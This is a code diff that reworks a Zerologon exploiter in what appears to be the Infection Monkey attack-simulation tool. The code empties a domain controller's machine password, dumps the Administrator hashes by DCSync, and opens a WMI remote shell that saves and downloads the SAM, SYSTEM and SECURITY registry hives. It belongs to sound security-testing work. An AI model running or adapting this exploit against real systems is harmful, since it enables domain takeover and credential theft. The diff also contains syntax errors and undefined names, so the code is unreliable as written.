diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 2631027ed..b3381495f 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -15,7 +15,9 @@ import os import re import sys import time +import traceback from binascii import hexlify, unhexlify +from typing import List import impacket from Cryptodome.Cipher import AES, ARC4, DES @@ -43,7 +45,7 @@ _orig_stdout = None _new_stdout = None -def _set_stdout_to_in_memory(): +def _set_stdout_to_in_memory_text_stream(): # set stdout to in-memory text stream, to capture info that would otherwise be printed _orig_stdout = sys.stdout _new_stdout = io.StringIO() @@ -65,16 +67,19 @@ class ZerologonExploiter(HostExploiter): { 'aes_key': None, 'bootkey': None, + 'can_process_SAM_LSA': True, 'dc_ip': None, 'debug': False, 'exec_method': 'smbexec', 'hashes': None, 'history': False, + 'is_remote' True, 'just_dc': True, 'just_dc_ntlm': False, 'just_dc_user': None, 'k': False, 'keytab': None, + 'no_lmhash': True, 'no_pass': True, 'ntds': None, 'outputfile': None, @@ -96,7 +101,7 @@ class ZerologonExploiter(HostExploiter): self.zerologon_finger = ZerologonFinger() def _exploit_host(self): - DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details() + DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details() if self.is_exploitable(): LOG.info("Target vulnerable, changing account password to empty string.") @@ -127,19 +132,21 @@ class ZerologonExploiter(HostExploiter): else: LOG.info("Non-zero return code, something went wrong.") - # restore password - self.restore_password(DC_HANDLE, DC_IP, DC_NAME) + _exploited = True ## how do i execute monkey on the exploited machine? else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") + _exploited = False - def get_dc_details(self): - dc_ip = self.host.ip_addr - dc_name = self.zerologon_finger.get_dc_name(dc_ip) - dc_handle = '\\\\' + dc_name - return dc_ip, dc_name, dc_handle + # Restore DC's original password. + if _exploited: + try: + self.restore_password(DC_HANDLE, DC_IP, DC_NAME) + LOG.info("System exploited and password restored successfully.") + except: + LOG.info("System exploited but couldn't restore password!") def is_exploitable(self): return self.zerologon_finger.get_host_fingerprint(self.host) @@ -166,7 +173,6 @@ class ZerologonExploiter(HostExploiter): return rpc_con.request(request) def restore_password(self, DC_HANDLE, DC_IP, DC_NAME): - # Keep authenticating until successful. LOG.info("Restoring original password...") LOG.info("DCSync; getting original password hashes.") @@ -177,7 +183,10 @@ class ZerologonExploiter(HostExploiter): raise Exception("Couldn't extract admin password's hashes.") original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes) + if not original_pwd_nthash: + raise Exception("Couldn't extract original DC password's nthash.") + # Keep authenticating until successful. for _ in range(0, self.MAX_ATTEMPTS): rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) if rpc_con is not None: @@ -195,67 +204,63 @@ class ZerologonExploiter(HostExploiter): options = self.OPTIONS_FOR_SECRETSDUMP.copy() options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" options['target_ip'] = DC_IP + options['dc_ip'] = DC_IP - domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options['target']).groups('') - - # In case the password contains '@' - if '@' in remote_name: - password = password + '@' + remote_name.rpartition('@')[0] - remote_name = remote_name.rpartition('@')[2] - - dumped_secrets = self.get_dumped_secrets(remote_name=remote_name, - username=username, - password=password, - domain=domain, - options=options) + dumped_secrets = self.get_dumped_secrets(options=options + remote_name=DC_IP, + username=DC_NAME) for secret in dumped_secrets: if 'Administrator' in secret: - hashes = secret.split(':')[2:4] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::" + hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::" return ':'.join(hashes) # format - "lmhash:nthash" - def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): - self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes) + def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes) -> str: + if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes): + return options = self.OPTIONS_FOR_SECRETSDUMP.copy() for name in ['system', 'sam', 'security']: options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') + options['dc_ip'] = DC_IP - dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', - options=options) + dumped_secrets = self.get_dumped_secrets(options=options, + remote_name='LOCAL') for secret in dumped_secrets: - if '$MACHINE.ACC: ' in secret: # format - "$MACHINE.ACC: lmhash:nthash" - nthash = secret.split(':')[-1] + if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash" + nthash = secret.split(':')[2] return nthash - def get_dumped_secrets(self, remote_name='', username='', password='', domain='', options): + def get_dumped_secrets(self, options, remote_name='', username='', password='', domain='') -> List[str]: dumper = DumpSecrets(remote_name, username, password, domain, options) dumped_secrets = dumper.dump().split('\n') return dumped_secrets def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes): - remote_shell = WmiexecRemoteShell(host=self.host, - username='Administrator', - domain=DC_IP, - hashes=':'.join(admin_pwd_hashes)) - if remote_shell: - _set_stdout_to_in_memory() + wmiexec = Wmiexec(ip=DC_IP, + username='Administrator', + hashes=admin_pwd_hashes, + domain=DC_IP) - # save HKLM keys on host + remote_shell = wmiexec.run() + if remote_shell: + _set_stdout_to_in_memory_text_stream() + + # Save HKLM keys on host. shell.onecmd('reg save HKLM\SYSTEM system.save && ' + 'reg save HKLM\SAM sam.save && ' + 'reg save HKLM\SECURITY security.save') - # get HKLM keys locally (can't run these together because it needs to call do_get()) + # Get HKLM keys locally (can't run these together because it needs to call do_get()). shell.onecmd('get system.save') shell.onecmd('get sam.save') shell.onecmd('get security.save') - # delete saved keys from host + # Delete saved keys on host. shell.onecmd('del /f system.save sam.save security.save') info = _unset_stdout_and_return_captured() LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") + return True else: raise Exception("Could not start remote shell on DC.") @@ -364,8 +369,8 @@ class DumpSecrets: self.__sam_hive = options['sam'] self.__ntds_file = options['ntds'] self.__history = options['history'] - self.__no_lmhash = True - self.__is_remote = True + self.__no_lmhash = options['no_lmhash'] + self.__is_remote = options['is_remote'] self.__output_file_name = options['outputfile'] self.__do_kerberos = options['k'] self.__just_DC = options['just_dc'] @@ -374,7 +379,7 @@ class DumpSecrets: self.__pwd_last_set = options['pwd_last_set'] self.__print_user_status = options['user_status'] self.__resume_file_name = options['resumefile'] - self.__can_process_SAM_LSA = True + self.__can_process_SAM_LSA = options['can_process_SAM_LSA'] self.__kdc_host = options['dc_ip'] self.__options = options @@ -386,7 +391,7 @@ class DumpSecrets: self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): - _set_stdout_in_memory() + _set_stdout_to_in_memory_text_stream() dumped_secrets = '' try: @@ -397,7 +402,7 @@ class DumpSecrets: local_operations = LocalOperations(self.__system_hive) bootkey = local_operations.getBootKey() if self.__ntds_file is not None: - # Let's grab target's configuration about LM Hashes storage + # Let's grab target's configuration about LM Hashes storage. self.__no_lmhash = local_operations.checkNoLMHashPolicy() else: import binascii @@ -424,20 +429,20 @@ class DumpSecrets: if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: self.__remote_ops.enableRegistry() bootkey = self.__remote_ops.getBootKey() - # Let's check whether target system stores LM Hashes + # Let's check whether target system stores LM Hashes. self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() except Exception as e: self.__can_process_SAM_LSA = False if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ and self.__do_kerberos is True: - # Giving some hints here when SPN target name validation is set to something different to Off - # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ + # Giving some hints here when SPN target name validation is set to something different to Off. + # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + 'Try -just-dc-user') else: LOG.error('RemoteOperations failed: %s' % str(e)) - # If RemoteOperations succeeded, then we can extract SAM and LSA + # If RemoteOperations succeeded, then we can extract SAM and LSA. if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: try: if self.__is_remote is True: @@ -467,12 +472,10 @@ class DumpSecrets: if self.__output_file_name is not None: self.__LSA_secrets.exportSecrets(self.__output_file_name) except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() + LOG.debug(traceback.print_exc()) LOG.error('LSA hashes extraction failed: %s' % str(e)) - # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. if self.__is_remote is True: if self.__use_VSS_method and self.__remote_ops is not None: NTDS_file_name = self.__remote_ops.saveNTDS() @@ -490,16 +493,14 @@ class DumpSecrets: try: self.__NTDS_hashes.dump() except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() + LOG.debug(traceback.print_exc()) if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. resume_file = self.__NTDS_hashes.getResumeSessionFile() if resume_file is not None: os.unlink(resume_file) - logging.error(e) + LOG.error(e) if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: LOG.error("You just got that error because there might be some duplicates of the same name. " "Try specifying the domain name for the user as well. It is important to specify it " @@ -508,8 +509,7 @@ class DumpSecrets: LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') self.cleanup() except (Exception, KeyboardInterrupt) as e: - import traceback - print(traceback.format_exc()) + LOG.debug(traceback.print_exc()) LOG.error(e) if self.__NTDS_hashes is not None: if isinstance(e, KeyboardInterrupt): @@ -544,12 +544,11 @@ class DumpSecrets: # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py # Used to get HKLM keys for restoring original DC password -class WmiexecRemoteShell: +class Wmiexec: OUTPUT_FILENAME = '__' + str(time.time()) - CODEC = sys.stdout.encoding - def __init__(self, host, username, password='', domain='', hashes, share=None, noOutput=False): - self.host = host + def __init__(self, ip, username, hashes, password='', domain='', share=None, noOutput=False): + self.__ip = ip self.__username = username self.__password = password self.__domain = domain @@ -560,14 +559,14 @@ class WmiexecRemoteShell: def run(self): if self.__noOutput is False: - smbConnection = SMBConnection(self.host.ip_addr, self.host.ip_addr) + smbConnection = SMBConnection(self.__ip, self.__ip) smbConnection.login(user=self.__username, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash) - dcom = DCOMConnection(target=self.host.ip_addr, + dcom = DCOMConnection(target=self.__ip, username=self.__username, password=self.__password, domain=self.__domain, @@ -583,8 +582,9 @@ class WmiexecRemoteShell: win32Process, _ = iWbemServices.GetObject('Win32_Process') - self.shell = RemoteShell(self.__share, win32Process, smbConnection) - # return self.shell? + self.shell = RemoteShell(self.__share, win32Process, smbConnection, OUTPUT_FILENAME) + return self.shell + except (Exception, KeyboardInterrupt) as e: LOG.error(str(e)) smbConnection.logoff() @@ -594,10 +594,12 @@ class WmiexecRemoteShell: # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py # Used to start remote shell on victim class RemoteShell(cmd.Cmd): - def __init__(self, share, win32Process, smbConnection): + CODEC = sys.stdout.encoding + + def __init__(self, share, win32Process, smbConnection, outputFilename): cmd.Cmd.__init__(self) self.__share = share - self.__output = '\\' + self.OUTPUT_FILENAME + self.__output = '\\' + outputFilename self.__outputBuffer = str('') self.__shell = 'cmd.exe /Q /c ' self.__win32Process = win32Process @@ -644,16 +646,16 @@ class RemoteShell(cmd.Cmd): self.__outputBuffer = '' def default(self, line): - # Let's try to guess if the user is trying to change drive + # Let's try to guess if the user is trying to change drive. if len(line) == 2 and line[1] == ':': - # Execute the command and see if the drive is valid + # Execute the command and see if the drive is valid. self.execute_remote(line) if len(self.__outputBuffer.strip('\r\n')) > 0: - # Something went wrong + # Something went wrong. print(self.__outputBuffer) self.__outputBuffer = '' else: - # Drive valid, now we should get the current path + # Drive valid, now we should get the current path. self.__pwd = line self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') @@ -683,11 +685,11 @@ class RemoteShell(cmd.Cmd): break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: - # Output not finished, let's wait + # Output not finished, let's wait. time.sleep(1) pass elif str(e).find('Broken') >= 0: - # The SMB Connection might have timed out, let's try reconnecting + # The SMB Connection might have timed out, let's try reconnecting. LOG.debug('Connection broken, trying to recreate it') self.__transferClient.reconnect() return self.get_output() diff --git a/monkey/infection_monkey/network/zerologon_fingerprint.py b/monkey/infection_monkey/network/zerologon_fingerprint.py index bf14a5dc9..d281ad373 100644 --- a/monkey/infection_monkey/network/zerologon_fingerprint.py +++ b/monkey/infection_monkey/network/zerologon_fingerprint.py @@ -22,14 +22,12 @@ class ZerologonFinger(HostFinger): Checks if the Windows Server is vulnerable to Zerologon. """ - DC_IP = host.ip_addr - DC_NAME = self.get_dc_name(DC_IP) + DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details() if DC_NAME: # if it is a Windows DC # Keep authenticating until successful. # Expected average number of attempts needed: 256. # Approximate time taken by 2000 attempts: 40 seconds. - DC_HANDLE = '\\\\' + DC_NAME LOG.info('Performing Zerologon authentication attempts...') rpc_con = None @@ -57,6 +55,12 @@ class ZerologonFinger(HostFinger): LOG.info('Error encountered; most likely not a Windows Domain Controller.') return False + def get_dc_details(self): + DC_IP = self.host.ip_addr + DC_NAME = self.get_dc_name(DC_IP) + DC_HANDLE = '\\\\' + DC_NAME + return DC_IP, DC_NAME, DC_HANDLE + def get_dc_name(self, DC_IP): """ Gets NetBIOS name of the Domain Controller (DC).